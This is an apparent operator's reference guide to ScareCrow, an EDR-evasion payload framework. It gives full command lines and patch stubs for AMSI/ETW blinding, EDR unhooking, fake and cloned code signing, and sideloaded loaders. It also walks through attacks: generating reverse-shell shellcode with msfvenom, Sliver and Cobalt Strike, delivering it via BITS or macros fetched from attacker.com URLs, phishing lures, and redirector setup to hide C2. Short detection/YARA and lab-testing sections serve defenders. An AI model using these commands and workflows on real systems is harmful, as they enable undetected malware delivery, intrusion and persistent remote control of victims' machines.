Author: Tylous (Matthew Eidelberg @ Optiv) Repo (active): https://github.com/Tylous/ScareCrow Repo (archived): https://github.com/optiv/ScareCrow Language: Go Category: Payload Creation / EDR Bypass Framework YARA Rules: https://github.com/optiv/Yara-Rules Status: Archived at Optiv — active development continues at
Tylous/ScareCrow
Overview
ScareCrow is a Go-based payload creation framework built specifically to bypass Endpoint Detection and Response (EDR) solutions. Unlike classic process injection tools that push shellcode into arbitrary processes, ScareCrow side-loads a custom loader DLL into a legitimate, trusted Windows process — inheriting its trust and bypassing Application Whitelisting.
Once loaded, it applies multiple layered evasion techniques:
| Technique | Purpose |
|---|---|
| EDR hook removal (Disk / KnownDLLs) | Remove EDR inline hooks from system DLLs |
| AMSI patching | Blind Windows AV scan interface |
| ETW patching | Kill Windows event telemetry |
| Shellcode encryption (AES/ELZMA/RC4) | Prevent static detection |
| Direct syscalls | Bypass any remaining userland hooks |
| Garble obfuscation | Randomize Go binary identifiers |
| Code signing (fake/cloned/valid) | Bypass signature-based allow-listing |
| File attribute spoofing | Mimic legitimate Windows binaries |
| Templatization | Randomize all variable/function names per-build |
| Sideloading into trusted processes | Bypass AppLocker / process monitoring |
ScareCrow only supports x64 shellcode. Confirm your C2 generates 64-bit raw shellcode.
Core Concepts — How EDRs Hook APIs
Before ScareCrow makes sense, you need to understand what it's undoing.
What Is API Hooking?
EDR products hook Windows API functions to monitor process behavior. They do this by:
- Injecting their own DLL into every new process at creation time
- Overwriting the first 5–15 bytes of sensitive NT functions (e.g.,
NtAllocateVirtualMemory,NtOpenProcess,NtCreateThreadEx) in the in-memory copy ofntdll.dll - Replacing those bytes with a
JMPstub that redirects execution to the EDR's analysis engine
BEFORE EDR hook (clean ntdll on disk):
NtAllocateVirtualMemory:
MOV EAX, 0x12 ; syscall number into EAX
SYSCALL ; jump to kernel
RET
AFTER EDR hook (hooked ntdll in memory):
NtAllocateVirtualMemory:
JMP 0x7ff812340000 ; jump to EDR analysis engine
NOP
NOP
...
On disk, the DLLs remain completely clean — EDRs only patch the in-memory copy. ScareCrow exploits this fact.
Installation & Setup
Clone & Build
# Clone the active repo
git clone https://github.com/Tylous/ScareCrow
cd ScareCrow
# Install Go module dependencies
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go get github.com/awgh/rawreader
# Build the binary
go build ScareCrow.go
# Verify it works
./ScareCrow -h
System Dependencies (Kali / Debian)
# Cross-compilation and code signing tools
sudo apt update
sudo apt install -y golang mingw-w64 openssl osslsigncode
# Install Garble (Go binary obfuscator)
go install mvdan.cc/garble@latest
# Verify garble is in PATH
export PATH=$PATH:$(go env GOPATH)/bin
garble --version
Compile on Linux/macOS. Several dependencies (especially
goversioninfoand cross-compilation) have unresolved issues on Windows. Use Kali, Parrot, or Ubuntu for cleanest results.
Requirements
| Component | Version / Details |
|---|---|
| Go | 1.19.1 or later (go version) |
mingw-w64 |
Windows cross-compilation (x86_64-w64-mingw32-gcc) |
openssl |
Certificate key generation |
osslsigncode |
Applying code-signing certificates to PE files |
garble |
Go binary obfuscation (mvdan.cc/garble) |
How ScareCrow Works — Execution Flow
Attacker Machine (Linux)
┌────────────────────────────────────────────────────────────┐
│ 1. C2 generates raw shellcode (beacon.bin) │
│ 2. ScareCrow encrypts shellcode (AES/ELZMA/RC4) │
│ 3. Templatization: randomize all variable/func names │
│ 4. Loader code generated from templates + embedded SC │
│ 5. Garble-compiled via mingw-w64 → Windows DLL/EXE │
│ 6. Code signed (fake/cloned/valid cert via LimeLighter) │
│ 7. File attributes spoofed (.syso resource injection) │
└────────────────────────────────────────────────────────────┘
│ deliver
▼
Target Machine (Windows)
┌────────────────────────────────────────────────────────────┐
│ 8. Loader runs inside trusted process (rundll32, etc.) │
│ 9. EDR hooks flushed (Disk or KnownDLLs method) │
│ 10. AMSI.dll patched → all scan results = clean │
│ 11. ETW syscalls patched → telemetry silenced │
│ 12. Shellcode decrypted at runtime │
│ 13. Direct syscalls: NtAllocateVirtualMemory │
│ 14. Direct syscalls: NtProtectVirtualMemory (RX) │
│ 15. Shellcode executes → C2 beacon established │
└────────────────────────────────────────────────────────────┘
EDR Unhooking Methods
Disk Method
ScareCrow reads the on-disk copy of system DLLs, which are unhooked (clean). It extracts only the .text section (executable code) and writes it over the hooked in-memory version.
Target DLLs:
- C:\Windows\System32\ntdll.dll
- C:\Windows\System32\kernel32.dll
- C:\Windows\System32\kernelbase.dll
- C:\Windows\System32\advapi32.dll
Process:
1. Open disk DLL → read clean .text section bytes
2. Map target DLL already loaded in current process memory
3. VirtualProtect(.text region) → RW permissions
4. Copy clean .text bytes over hooked in-memory bytes
5. VirtualProtect(.text region) → restore original (RX) permissions
Why only
.text? Copying the full DLL would trigger EDR file-read monitoring. Targeting only.text(the code section) is more surgical and harder to detect.
KnownDLLs Method
Windows keeps pre-loaded, clean DLL images in the \KnownDlls\ object namespace. ScareCrow maps a clean DLL directly from this section into process memory.
Process:
// Pseudocode
HANDLE hSection;
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE,
&oa); // oa points to L"\\KnownDlls\\ntdll.dll"
PVOID pBase = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &pBase, ...);
// Extract .text section from mapped view
// Overwrite hooked .text in loaded DLL
NtProtectVirtualMemory(..., PAGE_EXECUTE_READ_WRITE, ...);
memcpy(hookedTextBase, cleanTextBase, textSectionSize);
NtProtectVirtualMemory(..., PAGE_EXECUTE_READ, ...);
Comparison
| Disk Method | KnownDLLs Method | |
|---|---|---|
| Source | C:\Windows\System32\*.dll |
\KnownDlls\<dll> |
| API used | VirtualProtect |
NtOpenSection + NtMapViewOfSection |
| Disk I/O | Yes (file reads) | No |
| EDR detection surface | File read events | Object namespace access |
| Effectiveness | High | High |
Evasion Techniques
Shellcode Encryption
Shellcode is encrypted at generation time on the attacker machine and decrypted at runtime on the victim. This ensures the shellcode is never in plaintext on disk.
| Algorithm | Mode | Key/IV | Notes |
|---|---|---|---|
| AES-256 | CBC | Random 32-byte key + 16-byte IV per build | Default. Industry-standard. Ciphertext split into chunks to hide length signature. |
| ELZMA | Compress + Encrypt | — | Compresses shellcode first, then encrypts. Smaller payload size. Useful for size-constrained delivery. |
| RC4 | Stream cipher | Variable-length random key | Simpler and faster. Less resistant to known-plaintext attacks. Good for older AV evasion. |
Usage:
./ScareCrow -I payload.bin -encryptionmode AES # default
./ScareCrow -I payload.bin -encryptionmode ELZMA
./ScareCrow -I payload.bin -encryptionmode RC4
DLL Sideloading
Instead of spawning a new process, ScareCrow's loader is side-loaded into a trusted, signed Windows process. The host process already has code-signing trust and process monitoring allow-listing.
| Loader | Host Process | Mechanism |
|---|---|---|
control (CPL) |
rundll32.exe |
Control Panel applet sideload |
wscript |
wscript.exe |
COM manifest / reg-free COM |
excel (XLL) |
excel.exe |
Excel add-in DLL (hidden process) |
msiexec |
msiexec.exe |
MSI transform DLL (hidden) |
dll |
rundll32, regsvr32, etc. |
Standard DLL with export functions |
binary |
Standalone process | No sideloading benefit |
Note:
binaryloader does not benefit from sideloading — it spawns its own process. Rely on encryption + unhooking + obfuscation stack only.
Sandbox Evasion
ScareCrow uses NetGetJoinInformation to check whether the target machine is domain-joined. Most sandbox environments are standalone workstations not joined to any domain.
# Enable sandbox check — only execute if machine is domain-joined
./ScareCrow -I payload.bin -sandbox -domain acme.corp
Also adds a pre-execution sleep delay. Many sandboxes time out on samples that sleep for a long time before executing.
Limitation: Advanced sandboxes may spoof
NetGetJoinInformationresponses or fast-forward sleep timers. For hardened environments, consider combining with additional sandbox checks (check number of CPU cores, RAM, screen resolution, running processes, uptime).
AMSI Bypass
AMSI (Antimalware Scan Interface) is a Microsoft framework loaded into processes to give security products visibility into in-memory script/shellcode execution.
How ScareCrow patches it:
; Overwrite AmsiScanBuffer() with:
mov eax, 0x80070057 ; E_INVALIDARG HRESULT
ret ; return immediately
; Result: every AMSI scan returns E_INVALIDARG
; AMSI_RESULT stays 0 (AMSI_RESULT_CLEAN)
; Security products see "clean" for every scan
Flags:
# AMSI patching is ON by default
./ScareCrow -I payload.bin # AMSI patched
./ScareCrow -I payload.bin -noamsi # AMSI patching disabled
Important: AMSI/ETW patching currently applies only to the parent process. If
-injectionis used, the injected remote process does NOT get AMSI/ETW patched.
ETW Bypass
ETW (Event Tracing for Windows) is the kernel-level telemetry system used by EDRs, Sysmon, and Microsoft Defender ATP. ScareCrow patches ETW syscall functions to prevent event generation.
Patched functions (in ntdll.dll):
- EtwNotificationRegister
- EtwEventRegister
- EtwEventWriteFull
- EtwEventWrite
Patch stub applied:
xor rax, rax ; zero out return value
ret ; return ERROR_SUCCESS (0)
; callers don't crash, events silently discarded
Hex: 48 33 C0 C3
Flags:
# ETW patching is ON by default
./ScareCrow -I payload.bin # ETW patched
./ScareCrow -I payload.bin -noetw # ETW patching disabled
Direct Syscalls
Even with EDR hooks removed, ScareCrow uses direct syscall stubs (written in assembly in asm.s) for the most critical operations — bypassing the userland Windows API path entirely.
How a normal API call works:
Your code → NtAllocateVirtualMemory (ntdll.dll) → EDR hook → kernel
With direct syscall:
Your code → inline syscall stub → kernel (EDR hook bypassed entirely)
Syscalls implemented:
| Syscall | Purpose |
|---|---|
NtAllocateVirtualMemory |
Allocate shellcode memory region |
NtProtectVirtualMemory |
Change memory permissions (RW → RX) |
Example syscall stub (x64 assembly):
NtAllocateVirtualMemory:
mov r10, rcx
mov eax, 0x18 ; syscall number (Windows version specific)
syscall
ret
Detection note: The ASM syscall stub bytes in
asm.sare static across all generated payloads — they do not change between builds and are a reliable static YARA signature. Consider modifying them if operational OPSEC requires it.
Templatization
Every variable and function name in the generated loader is randomized per build using Cryptor.VarNumberLength(10, 19) — producing 10–19 character random alphanumeric identifiers.
Go's text/template engine substitutes these into the payload structure at generation time.
Effect:
// Build 1 payload might contain:
func xKmrPqstLBvWnYd() { ... }
var AhQjXpRtNmvKsWz = ...
// Build 2 payload from same shellcode:
func vNzYqRtWpLkBmXj() { ... }
var TsPxKqMnRvJwYzL = ...
Two payloads generated from the same shellcode will have different variable names, function names, and string structures — making static signature matching across builds significantly harder.
Garble Obfuscation
ScareCrow uses Garble to obfuscate the final compiled loader binary.
What Garble does:
- Replaces all Go identifiers, package paths, and filenames with short base64 hashes
- Strips symbol tables and debug information (-ldflags="-w -s")
- With -literals flag: obfuscates string literals in the binary
- Removes all Go build and module metadata (no more go.buildID)
Flags:
# Without garble literal obfuscation (faster compile)
./ScareCrow -I payload.bin -Loader binary
# With garble literal obfuscation (slower, better evasion)
./ScareCrow -I payload.bin -Loader binary -obfu
Trade-off:
-obfuincreases compile time and binary size noticeably. Use it for final delivery payloads, not during rapid iteration.
Code Signing & Certificate Cloning (LimeLighter)
ScareCrow integrates LimeLighter (Go port) to handle code signing.
Three modes:
| Mode | Flag | How It Works |
|---|---|---|
| Fake domain cert | -domain <domain> |
Generates a self-signed PFX cert for the specified domain (e.g., microsoft.com) |
| Cloned cert | -clone <file> |
Copies the full certificate chain, signing date, and countersignatures from a legitimate DLL/EXE |
| Valid cert | -valid <pfx> |
Signs using your own real code-signing certificate |
# Fake cert signed as microsoft.com
./ScareCrow -I payload.bin -Loader binary -domain www.microsoft.com
# Clone certificate from a legitimate signed DLL
./ScareCrow -I payload.bin -Loader binary -clone /usr/lib/x86_64-linux-gnu/libssl.so.1.1
# Use your own valid PFX cert
./ScareCrow -I payload.bin -Loader binary -valid /path/to/mycert.pfx
OPSEC Note: Signing with
microsoft.comagainst Microsoft Defender ATP may be less effective because Microsoft can validate its own certificates in real-time. Use other well-known domains (e.g.,adobe.com,google.com,acme.corp) when targeting environments with Microsoft security products.
File attribute spoofing works alongside code signing — ScareCrow generates a .syso embedded resource file at compile time that injects version info (FileVersion, CompanyName, ProductName, InternalName) matching a legitimate Windows binary.
Command-Line Flags Reference
./ScareCrow -I <shellcode.bin> [options]
Core Input/Output
| Flag | Type | Description |
|---|---|---|
-I <file> |
Required | Path to raw 64-bit shellcode binary |
-O <name> |
Optional | Output file name (e.g., loader.js, payload.cpl). Not required for dll or binary loader. |
-Loader <type> |
Optional | Loader type: binary, control, wscript, excel, msiexec, dll |
Execution Method
| Flag | Type | Description |
|---|---|---|
-Exec <method> |
Optional | Shellcode exec: RtlCopy, NtQueueApcThreadEx, VirtualAlloc, ProcessInjection |
-injection <path> |
Optional | Target process path for injection (required when -Exec ProcessInjection) |
Encryption
| Flag | Default | Description |
|---|---|---|
-encryptionmode <alg> |
AES |
Algorithm: AES, ELZMA, RC4 |
Obfuscation
| Flag | Description |
|---|---|
-obfu |
Enable Garble literal obfuscation (slower compile, stronger evasion) |
AMSI / ETW
| Flag | Description |
|---|---|
-noamsi |
Disable AMSI patching (enabled by default) |
-noetw |
Disable ETW patching (enabled by default) |
Sandbox Evasion
| Flag | Description |
|---|---|
-sandbox |
Enable domain-join check + sleep delay before execution |
-domain <domain> |
Domain for NetGetJoinInformation sandbox check AND fake code signing cert |
Code Signing & Attributes
| Flag | Description |
|---|---|
-domain <domain> |
Generate fake cert signed as this domain |
-clone <file> |
Clone full cert chain + attributes from this DLL/EXE |
-valid <pfx> |
Sign with a real PFX code-signing certificate |
-configfile <json> |
Custom file attribute JSON (overrides built-in random selection) |
Delivery
| Flag | Description |
|---|---|
-delivery <type> |
Delivery artifact type: bits, hta, macro |
-url <url> |
Remote URL where the payload will be hosted (used with -delivery) |
Debug
| Flag | Description |
|---|---|
-console |
Show console window during execution (default: hidden) |
Loader Types
Type (-Loader) |
Host Process | Output Format | Sideloaded? |
|---|---|---|---|
binary |
Standalone EXE | .exe |
No |
control |
rundll32.exe (Control Panel) |
.cpl + .js |
Yes |
dll |
rundll32.exe / regsvr32.exe |
.dll |
Partial |
wscript |
wscript.exe |
.js + manifest |
Yes |
excel |
excel.exe (hidden) |
.xll |
Yes |
msiexec |
msiexec.exe (hidden) |
.dll |
Yes |
Execution Methods (-Exec)
| Method | Description | Notes |
|---|---|---|
RtlCopy |
Uses RtlCopyMemory to write shellcode into allocated memory |
Simple and effective |
NtQueueApcThreadEx |
Queues an APC to execute shellcode in a thread context | Good for stealthy thread-based execution |
VirtualAlloc |
Classic VirtualAlloc + copy + execute pattern |
Most common, highest detection surface |
ProcessInjection |
Remote process injection into specified target | Requires -injection <path> |
Encryption Options
| Algorithm | Flag | Key Size | Notes |
|---|---|---|---|
| AES-256-CBC | AES |
256-bit | Default. Strong, widely supported. Random key+IV per build. |
| ELZMA | ELZMA |
— | Compress-then-encrypt. Reduces final payload size significantly. |
| RC4 | RC4 |
Variable | Stream cipher. Fast. Lower security margin. Useful for size-constrained delivery. |
Delivery Options
Use -delivery <type> with -url <remote_url> to generate a secondary delivery artifact alongside the loader:
| Type | Compatible Loaders | What It Generates |
|---|---|---|
bits |
Binary, Control, Excel, WScript | BITSAdmin command — downloads, executes, and deletes the loader silently |
hta |
Control, Excel | Blank HTA file with embedded loader + execution command (browser-executed) |
macro |
Control, Excel, WScript | VBA macro for Office documents — downloads, runs, and cleans up the loader |
# Generate a CPL loader with a BITS delivery artifact
./ScareCrow -I payload.bin -Loader control -delivery bits \
-url http://192.168.1.100/speech.cpl -domain google.com
# Generate a WScript loader with an Office macro artifact
./ScareCrow -I payload.bin -Loader wscript -delivery macro \
-url http://attacker.com/loader.js -domain adobe.com
Process Injection
When -Exec ProcessInjection and -injection <path> are used:
Flow:
1. Loader unhooks its own process (EDR hooks removed in parent)
2. Spawns specified target process (e.g., svchost.exe)
3. Enumerates loaded DLLs in remote process
4. Writes clean .text sections into remote process via WriteProcessMemory
(uses debugger-mode permission bypass — no VirtualProtect on remote)
5. Injects shellcode into now-unhooked remote process
6. Executes shellcode in remote process thread
Limitation: AMSI/ETW patching is only applied in the parent loader process, not in the injected remote process. Plan your payload accordingly.
./ScareCrow -I payload.bin -Loader wscript -Exec ProcessInjection \
-injection "C:\\Windows\\System32\\svchost.exe" \
-encryptionmode AES -domain adobe.com
Shellcode Generation — C2 Integration
ScareCrow wraps raw 64-bit shellcode. The -I flag expects a raw binary file (.bin), not base64 or PE format.
Cobalt Strike
Attacks → Packages → Windows Executable (S)
└── Listener: [your listener]
└── Output: Raw
└── ☑ Use x64 Payload ← REQUIRED
└── Save as: beacon.bin
Use a custom Malleable C2 profile and disable staging (
set host_stage "false";) for better OPSEC. Use HTTPS with a valid Let's Encrypt cert.
./ScareCrow -I beacon.bin -Loader control -sandbox -domain acme.corp \
-encryptionmode AES -clone /path/to/signed.dll
Sliver C2
# Start listeners on teamserver
sliver > mtls --lhost 192.168.1.100 --lport 443
sliver > https --lhost 192.168.1.100 --lport 8443
# Generate raw shellcode implant
sliver > generate --mtls 192.168.1.100:443 \
--os windows \
--arch amd64 \
--format shellcode \
--save /tmp/sliver_payload.bin
# Feed into ScareCrow
./ScareCrow -I /tmp/sliver_payload.bin -Loader wscript \
-encryptionmode ELZMA -domain google.com -obfu
Add
--evasion sgnwhen generating Sliver shellcode for additional SGN (Shikata Ga Nai) encoding before passing to ScareCrow.
Havoc C2
Attack → Payload → [Configure listener]
└── Arch: x64
└── Format: Windows Shellcode
└── Export → save as havoc_payload.bin
./ScareCrow -I havoc_payload.bin -Loader excel \
-Exec NtQueueApcThreadEx -encryptionmode AES \
-domain microsoft.com -sandbox -domain contoso.corp
Metasploit / msfvenom
# Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.1.100 LPORT=443 \
-f raw -o msf_payload.bin
# Wrap with ScareCrow
./ScareCrow -I msf_payload.bin -Loader binary \
-encryptionmode AES -domain adobe.com -obfu
Usage Examples
Basic DLL (Default)
./ScareCrow -I payload.bin
CPL Loader with Sandbox Evasion + Fake Cert
./ScareCrow -I payload.bin -Loader control \
-sandbox -domain microsoft.com \
-encryptionmode AES
WScript + APC Execution + ELZMA
./ScareCrow -I payload.bin -Loader wscript \
-Exec NtQueueApcThreadEx \
-encryptionmode ELZMA \
-domain acme.corp
XLL Loader (Excel) with Cloned Certificate
./ScareCrow -I payload.bin -Loader excel \
-clone /path/to/legitimate_signed.dll
Binary → Process Inject into Svchost
./ScareCrow -I payload.bin -Loader binary \
-Exec ProcessInjection \
-injection "C:\\Windows\\System32\\svchost.exe" \
-domain contoso.com
Full Stealth Binary: Garble + ELZMA + Cloned Cert
./ScareCrow -I payload.bin -Loader binary \
-obfu \
-encryptionmode ELZMA \
-clone /usr/share/windows-resources/binaries/plink.exe \
-sandbox -domain acme.corp
MSI Loader with BITS Delivery
./ScareCrow -I payload.bin -Loader msiexec \
-delivery bits \
-url http://192.168.1.100/payload.dll \
-domain google.com
Control Panel + Macro Delivery
./ScareCrow -I payload.bin -Loader control \
-delivery macro \
-url http://attacker.com/Powerpnt.exe \
-domain microsoft.com
Disable AMSI and ETW (for testing only)
./ScareCrow -I payload.bin -Loader binary -noamsi -noetw
Debug Mode (console visible)
./ScareCrow -I payload.bin -Loader binary -console
Custom File Attributes
./ScareCrow -I payload.bin -Loader binary -configfile main.json
Custom File Attributes (main.json)
ScareCrow can spoof Windows PE version information via a JSON config file. This controls what shows up in Properties → Details in Windows Explorer.
{
"FileVersion": "10.0.19041.1",
"CompanyName": "Microsoft Corporation",
"FileDescription": "Windows Security Health Service",
"InternalName": "SecurityHealthSystray",
"LegalCopyright": "© Microsoft Corporation. All rights reserved.",
"OriginalFilename": "SecurityHealthSystray.exe",
"ProductName": "Microsoft® Windows® Operating System",
"ProductVersion": "10.0.19041.1"
}
./ScareCrow -I payload.bin -Loader binary \
-configfile main.json \
-domain microsoft.com
LimeLighter — Standalone Usage
LimeLighter can be used independently of ScareCrow to sign any PE file.
# Clone and build LimeLighter
git clone https://github.com/Tylous/Limelighter
cd Limelighter
go get github.com/fatih/color
go build Limelighter.go
# Sign with a fake domain certificate
./LimeLighter -Domain www.microsoft.com -I unsigned.exe -O signed.exe
# Sign with a valid PFX certificate
./LimeLighter -Real /path/to/cert.pfx -Password "certpassword" \
-I unsigned.exe -O signed.exe
# Verify a signed file's certificate
./LimeLighter -Verify signed.exe
OPSEC Considerations
| Risk | Mitigation |
|---|---|
Using microsoft.com as fake cert domain |
Use alternative domains against Microsoft security products; MS can validate its own certs |
Static ASM syscall stubs in asm.s |
Modify the stub bytes between builds; or switch to indirect syscalls |
| Reusing the same payload binary | Rebuild with fresh templatization per engagement |
| Signing with same domain across multiple payloads | Rotate domains; use -clone against different legitimate binaries |
| Hosting payload on naked IP | Use a domain with categorized reputation, HTTPS, and valid cert |
| Exposing C2 teamserver IP directly | Always place redirectors (NGINX/Apache mod_rewrite) between payload and teamserver |
| Binary type loader spawning new process | Prefer sideloading loaders (control, wscript, excel) over binary type |
| Short sleep delay defeating sandboxes | Combine domain-join check with longer sleep (customize source) |
Recommended Delivery Infrastructure
Target → Redirector (NGINX/Apache) → CDN/Cloudflare → Teamserver
↓
Filter non-implant traffic (block scanners, bots)
Serve decoy content to unexpected User-Agents
# Example NGINX redirector rule — only forward known implant User-Agents
if ($http_user_agent !~* "Mozilla/5.0.*Windows NT") {
return 404;
}
proxy_pass http://TEAMSERVER_IP:PORT;
MITRE ATT&CK Mapping
| Technique | ID | ScareCrow Behavior |
|---|---|---|
| DLL Side-Loading | T1574.002 | Loads shellcode via trusted Windows process (rundll32, wscript, excel) |
| Process Injection | T1055 | -Exec ProcessInjection injects into a specified process |
| Virtualize/Sandbox Evasion | T1497.001 | NetGetJoinInformation domain-join check + sleep delay |
| Obfuscated Files or Information | T1027 | AES/ELZMA/RC4 shellcode encryption, Garble obfuscation |
| Masquerading: Invalid Code Signature | T1036.001 | Fake domain code-signing via LimeLighter |
| Masquerading: Match Legitimate Name or Location | T1036.005 | File attribute spoofing (CompanyName, Description, Version) |
| Modify Registry | T1112 | wscript loader uses reg-free COM manifest |
| Disable or Modify Tools (AMSI) | T1562.001 | AmsiScanBuffer patch returns E_INVALIDARG |
| Impair Defenses (ETW) | T1562.006 | ETW syscall patching (EtwEventWrite, etc.) |
| Native API | T1106 | Direct syscalls bypass userland hooks for memory operations |
Code Structure Reference
| File | Role |
|---|---|
ScareCrow.go |
Entry point. Parses arguments, encrypts shellcode, calls Loader.CompileFile, applies signing |
Loader/Loader.go |
Templatization engine. Builds loader from templates defined in Struct.go |
Struct/Struct.go |
Payload structure templates for every loader type (Binary, DLL, CPL, XLL, MSI, WScript) |
Utils/Utils.go |
Helpers: base64 ZIP with direct syscall stubs (loader.zip), file attribute generator |
Cryptor/Cryptor.go |
AES/ELZMA/RC4 encryption implementation + VarNumberLength variable randomization |
limelighter/ |
Code signing via LimeLighter — pfx12 generation, certificate cloning |
asm.s |
Direct syscall assembly stubs — embedded in loader.zip at build time |
Detection & YARA
Published YARA Rules
Optiv's Enterprise Incident Management team released YARA rules for on-disk ScareCrow detection:
https://github.com/optiv/Yara-Rules
Why ScareCrow Is Hard to Detect Statically
| Feature | Detection Impact |
|---|---|
| Templatization | No two payloads share the same variable/function names |
| Garble | No Go symbol tables, no build IDs, no readable identifiers |
| AES encryption | Shellcode is never plaintext on disk |
| Code signing | Legitimate-looking PE with valid-appearing certificate |
| File attribute spoofing | Binary looks like Windows system file |
What IS Detectable
| Signal | Notes |
|---|---|
Direct syscall stubs in asm.s |
Static bytes that do not change between builds — most reliable YARA anchor |
VirtualProtect on .text of system DLLs |
Behavioral: unusual permission change on ntdll/kernel32 .text section |
WriteProcessMemory to known AMSI/ETW function offsets |
Behavioral: ETW/AMSI patching leaves a memory write pattern |
| Unusual process lineage | control.exe → unexpected child, wscript.exe → network activity |
| PE attribute mismatch | FileVersion/CompanyName doesn't match actual Microsoft binary |
| AMSI scan result inconsistency | Some EDRs instrument AMSI returns — sudden E_INVALIDARG bursts are suspicious |
Detection Layers
| Layer | Approach |
|---|---|
| Static | YARA on ASM syscall stub byte sequences; PE header heuristics; attribute mismatch detection |
| Behavioral | Monitor VirtualProtect + WriteProcessMemory chains targeting .text of ntdll/kernel32 |
| Telemetry | ETW/AMSI patches generate WriteProcessMemory calls to specific known offsets — correlate with MDE alerts |
| Process Lineage | Unusual parent-child combos in process tree (Sysmon Event ID 1) |
| Network | C2 beaconing patterns on unusual ports from trusted processes (wscript, rundll32) |
Common Attack Workflows
Stage 1 — EDR-Blind Initial Access via Phishing (CPL)
# 1. Generate raw shellcode from C2 (Sliver example)
sliver > generate --mtls 192.168.1.100:443 --os windows --arch amd64 \
--format shellcode --save /tmp/beacon.bin
# 2. Build CPL loader with domain evasion + encryption
./ScareCrow -I /tmp/beacon.bin \
-Loader control \
-sandbox \
-domain microsoft.com \
-encryptionmode AES \
-clone /usr/lib/x86_64-linux-gnu/libssl.so.1.1
# 3. Host on HTTPS infra
sudo python3 -m http.server 443 --directory ./output/
# (use nginx + certbot for real ops)
# 4. Deliver via phishing email with .cpl attachment or link
# e.g., "Please update your compliance certificate: speech.cpl"
Stage 1 — WScript Loader + BITS Delivery
./ScareCrow -I beacon.bin -Loader wscript \
-delivery bits \
-url https://cdn.attacker.com/loader.js \
-domain google.com
# BITSAdmin command generated (run on victim):
# bitsadmin /transfer job /download /priority high https://cdn.attacker.com/loader.js
# %APPDATA%\loader.js && wscript %APPDATA%\loader.js
Stage 2 — Unhook + Inject into Svchost
./ScareCrow -I stage2.bin \
-Loader binary \
-Exec ProcessInjection \
-injection "C:\\Windows\\System32\\svchost.exe" \
-obfu \
-encryptionmode ELZMA \
-domain adobe.com
Full Stealth: Macro-Based Office Delivery
# 1. Generate XLL loader with VBA macro dropper
./ScareCrow -I payload.bin \
-Loader excel \
-delivery macro \
-url https://attacker.com/Powerpnt.exe \
-domain microsoft.com \
-encryptionmode AES \
-obfu
# 2. Paste generated VBA macro into Word/Excel document
# 3. Send phishing email with malicious document
Blue Team Testing / Lab Workflow
# Generate safe test payload (calc.exe shellcode)
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
# Wrap with ScareCrow for controlled EDR bypass testing
./ScareCrow -I calc.bin -Loader binary \
-encryptionmode AES \
-domain testing.local \
-console
# Run on test Windows VM with EDR enabled
# Verify: calc.exe opens, no EDR alert fires
Troubleshooting
| Issue | Cause | Fix |
|---|---|---|
panic: runtime error: nil pointer dereference in limelighter |
openssl or osslsigncode not installed |
sudo apt install openssl osslsigncode |
exec: "x86_64-w64-mingw32-gcc": not found |
mingw-w64 missing |
sudo apt install mingw-w64 |
garble: command not found |
garble not in PATH | export PATH=$PATH:$(go env GOPATH)/bin |
| Compilation fails on Windows | Windows cross-compile issues | Build on Linux (Kali/Ubuntu) |
| Payload crashes on target | Shellcode is not 64-bit raw format | Regenerate as raw x64 from your C2 |
| Payload crashes on target | Wrong process path for injection | Verify full path with where svchost.exe on target |
| EDR still fires after unhooking | EDR uses kernel callbacks (not just userland hooks) | Stack additional techniques or use kernel-mode solutions |
| Sandbox evasion fails in corporate env | Advanced sandbox spoofs NetGetJoinInformation |
Combine with additional checks (CPU count, uptime, registry keys) |
Companion Tools & Related Projects
| Tool | Link | Purpose |
|---|---|---|
| LimeLighter | https://github.com/Tylous/Limelighter | Standalone code signing / cert cloning |
| Garble | https://github.com/burrowers/garble | Go binary obfuscation |
| SysWhispers2 | https://github.com/jthuraisamy/SysWhispers2 | Direct/indirect syscall stub generator |
| SysWhispers3 | https://github.com/klezVirus/SysWhispers3 | Updated syscall stubs (WoW64 + randomized syscalls) |
| Inceptor | https://github.com/klezVirus/inceptor | Template-driven AV/EDR evasion framework |
| Supernova | https://github.com/EgeBalci/sgn | Real shellcode encryption tool with SGN encoding |
| BOF.NET | https://github.com/CCob/BOF.NET | Run .NET assemblies as BOFs inside C2 agents |
| Donut | https://github.com/TheWover/donut | Convert .NET/PE to position-independent shellcode |
| Cobalt Strike Artifact Kit | (commercial) | Customize CS payload templates |
| Outflank OST | https://outflank.nl/tools/ | Commercial implants with advanced syscall handling |
References
- ScareCrow GitHub (active): https://github.com/Tylous/ScareCrow
- ScareCrow GitHub (archived): https://github.com/optiv/ScareCrow
- LimeLighter: https://github.com/Tylous/Limelighter
- Optiv YARA Rules: https://github.com/optiv/Yara-Rules
- Optiv Blog Part 1 (EDR Evasion): https://www.optiv.com/insights/source-zero/blog/endpoint-detection-and-response-how-hackers-have-evolved
- Optiv Blog Part 2 (ScareCrow techniques): https://www.optiv.com/insights/source-zero/blog/scarecrow-edr-unhooking-and-evasion
- Adam Svoboda — Evading EDR in 15 Minutes: https://adamsvoboda.net/evading-edr-with-scarecrow/
- ptr0x1 — EDR Evasion Part I (ScareCrow): https://ptr0x1.com/posts/edr-evasion-part-i-understanding-scarecrow/
- Outflank — Solving the Unhooking Problem: https://www.outflank.nl/blog/2023/10/05/solving-the-unhooking-problem/
- S3cur3Th1sSh1t — EDR Bypass Methods: https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
- ROBINX0 — Userland EDR Bypass Stack: https://robinx0.github.io/blogs/edr-bypass/userland-edr-bypass-stack/
- Deep Instinct — 3 EDR Bypass Techniques: https://www.deepinstinct.com/blog/edr-bypass-techniques-and-how-to-stop-them
- VMRay — Advantage Attacker: ScareCrow: https://www.vmray.com/advantage-attacker-edr-bypass-tools-scarecrow/
- Garble: https://github.com/burrowers/garble
- j00ru Windows syscall table: https://j00ru.vexillium.org/syscalls/nt/64/
- GeorgePatsias ScareCrow+CobaltStrike: https://github.com/GeorgePatsias/ScareCrow-CobaltStrike
- Red Team Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
- MITRE ATT&CK: https://attack.mitre.org